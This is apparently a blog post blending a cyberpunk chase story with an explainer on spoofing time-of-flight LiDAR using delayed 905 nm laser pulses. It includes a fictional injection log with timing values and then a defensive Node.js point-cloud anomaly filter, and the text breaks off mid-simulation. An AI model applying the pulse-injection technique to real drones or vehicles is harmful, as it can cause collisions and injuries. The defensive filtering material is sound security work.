&lt;p&gt;Last night we crashed a black-tie data-laundering scandal at a five-star hotel and splashed the receipts across the main screen. Now we’re ducking pursuit through a monsoon-flooded Bangkok soi. To blind the overhead patrol drones I’m running a tiny pulse laser that literally lies about the speed of light.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. 23:15, Bang Rak Drain: Monsoon and Red Scan Lines
&lt;/h2&gt;

&lt;p&gt;The storm has turned the narrow alleys of old Bang Rak into a churning river. Rain hammers on tin roofs like artillery while storm drains vomit brown water.&lt;/p&gt;

&lt;p&gt;“Darling, kill the thermal signature! Two private-security quadrotors are loitering above the exit.”&lt;/p&gt;

&lt;p&gt;I’m yelling over the roar from the rear seat of the off-road bike, collar of my soaked matte-black trench up. Headlights off, the night is sliced by invisible 905 nm NIR pulses. My AR contacts paint the conical laser grid in angry red.&lt;/p&gt;

&lt;p&gt;“They’re running high-res ToF 3D scanners!” darling shouts back. “Real-time AI rain-noise cancellation, tracking anything moving at 40 km/h down to the millimeter. Once we round the corner they’ll lock our physical containers and the bike’s skeleton straight into their SLAM map. We’ll never reach the Chao Phraya pier.”&lt;/p&gt;

&lt;p&gt;“Relax, darling. If the machine trusts the flight time of photons, we just rewrite the flight time.”&lt;/p&gt;

&lt;p&gt;I extend my left arm—matte-black bio-ceramic prosthetic, rain-slick. The 905 nm pulse-laser diodes embedded in the titanium index and middle fingernails begin to warm with a faint whine.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Physical Achilles’ Heel of ToF Ranging
&lt;/h2&gt;

&lt;p&gt;ToF is brutally simple. With ( c \approx 3 \times 10^8 ) m/s, distance ( d ) is just:&lt;/p&gt;

&lt;p&gt;$$d = \frac{c \cdot \Delta t}{2}$$&lt;/p&gt;

&lt;p&gt;Fifteen meters away? Round-trip is a tidy &lt;strong&gt;100 ns&lt;/strong&gt;. The APD/SPAD array samples that tiny photon packet and spits out a 3D coordinate.&lt;/p&gt;

&lt;p&gt;But the hardware has a deliciously dumb trust model:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;No pulse nonce&lt;/strong&gt; — Unlike RF crypto, each photon packet carries zero signature. The sensor only checks wavelength. Same 905 nm coming back? Must be its own reflection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delayed-pulse phantom geometry&lt;/strong&gt; — Fire a fake pulse a few tens of nanoseconds after the real one and the receiver thinks a solid surface now exists at the wrong range.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Point-cloud saturation → AI panic&lt;/strong&gt; — SLAM and collision-avoidance stacks see an instant “wall,” slam the brakes or yank the drone into power lines.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;“Got the drone’s receiver shutter—20 kHz phase-locked. Now.”&lt;/p&gt;

&lt;p&gt;Invisible infrared stabs out from my fingertips, punches through rain, and nails the quad’s receive aperture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[OPTICAL INJECTION SEQUENCE]
Target: Commercial ToF-LiDAR (905nm)
Receiver Sync: 20.00 kHz (Phase Locked)
Injected Delay: +46.6 ns (Synthesizing Phantom Wall at 7.0m)
Status: Point Cloud Deformed -&amp;gt; Drone Collision Avoidance Triggered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The red scan lines jitter, the drone’s onboard AI decides a concrete wall just materialized in empty air, and it rockets upward straight into a utility line.&lt;/p&gt;

&lt;p&gt;“Path’s clear—floor it, darling!”&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Practical ToF Point-Cloud Defense and Optical-Anomaly Script
&lt;/h2&gt;

&lt;p&gt;What real edge-AI engineers need isn’t attack code—it’s multi-layer self-defense.&lt;/p&gt;

&lt;p&gt;To harden against both weather scatter and malicious pulse injection you want:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Statistical Outlier Removal (SOR)&lt;/strong&gt; — cull isolated high-density anomalies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Temporal Consistency Check&lt;/strong&gt; — discard points that appear or vanish at physically impossible velocities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intensity Correlation Audit&lt;/strong&gt; — flag returns whose power curve deviates from natural Lambertian decay.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s the live Node.js prototype.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * ToFPointCloudDefender.js
 * 
 * ToF-LiDAR向け3D点群異常検知＆自己防衛フィルタ
 * 雨滴ノイズおよび光パルスインジェクションによる虚像点群を除去する。
 */&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ToFPointCloudDefender&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxSpeedMps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxSpeedMps&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mf"&gt;25.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 物体の物理的最大速度 (m/s)&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;intensityThreshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;intensityThreshold&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mi"&gt;240&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 異常受光強度しきい値 (0-255)&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyBuffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 前フレームの点群キャッシュ&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/**
     * 単一フレームの点群データを監査・フィルタリング
     * @param {Array} points - [{ id, x, y, z, intensity, timestamp }]
     * @returns {Object} 判定結果とクリーンな点群
     */&lt;/span&gt;
    &lt;span class="nf"&gt;filterPointCloud&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;points&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cleanPoints&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;anomalousPoints&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

        &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pt&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;points&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;isAnomaly&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="c1"&gt;// 1. 光学受光強度の過飽和チェック (ダイレクト照射の検知)&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;intensity&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;intensityThreshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;isAnomaly&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nx"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;OPTICAL_SATURATION_SUSPECTED&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

            &lt;span class="c1"&gt;// 2. 時間的一貫性（運動学的リアリティ）のチェック&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isAnomaly&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1000.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

                &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hypot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;z&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;speed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;dist&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

                    &lt;span class="c1"&gt;// 物理的に移動不可能な速度で出現・ジャンプした点を破棄&lt;/span&gt;
                    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;speed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;maxSpeedMps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="nx"&gt;isAnomaly&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                        &lt;span class="nx"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`PHYSICAL_KINEMATICS_VIOLATION (&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt; m/s)`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isAnomaly&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;anomalousPoints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reason&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;cleanPoints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;historyBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;totalReceived&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;points&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;validPoints&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cleanPoints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;anomaliesDetected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;anomalousPoints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;cleanPointCloud&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cleanPoints&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;anomalies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;anomalousPoints&lt;/span&gt;
        &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- 実機シミュレーション実行 ---&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;runSimulation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[Defender] ToF Point Cloud Guardian Initializing...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ToFPointCloudDefender&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;intensityThreshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;maxSpeedMps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c1"&gt;// 正常な背景・路面スキャンデータ&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;frame1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;2.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;intensity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;10.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;intensity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nx"&gt;defender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filterPointCloud&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 50ms後：外乱光パルス照射（虚像壁の注入）が発生したフレーム&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;frame2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;2.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;10.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;intensity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="c1"&gt;// 異常1: 強烈なパルスレーザーが直接受光部に刺さった点&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fake_1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;intensity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="c1"&gt;// 異常2: 前フレームから光速並みの速度でワープしてきた虚像点&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;15.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;35.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;8.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;intensity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;

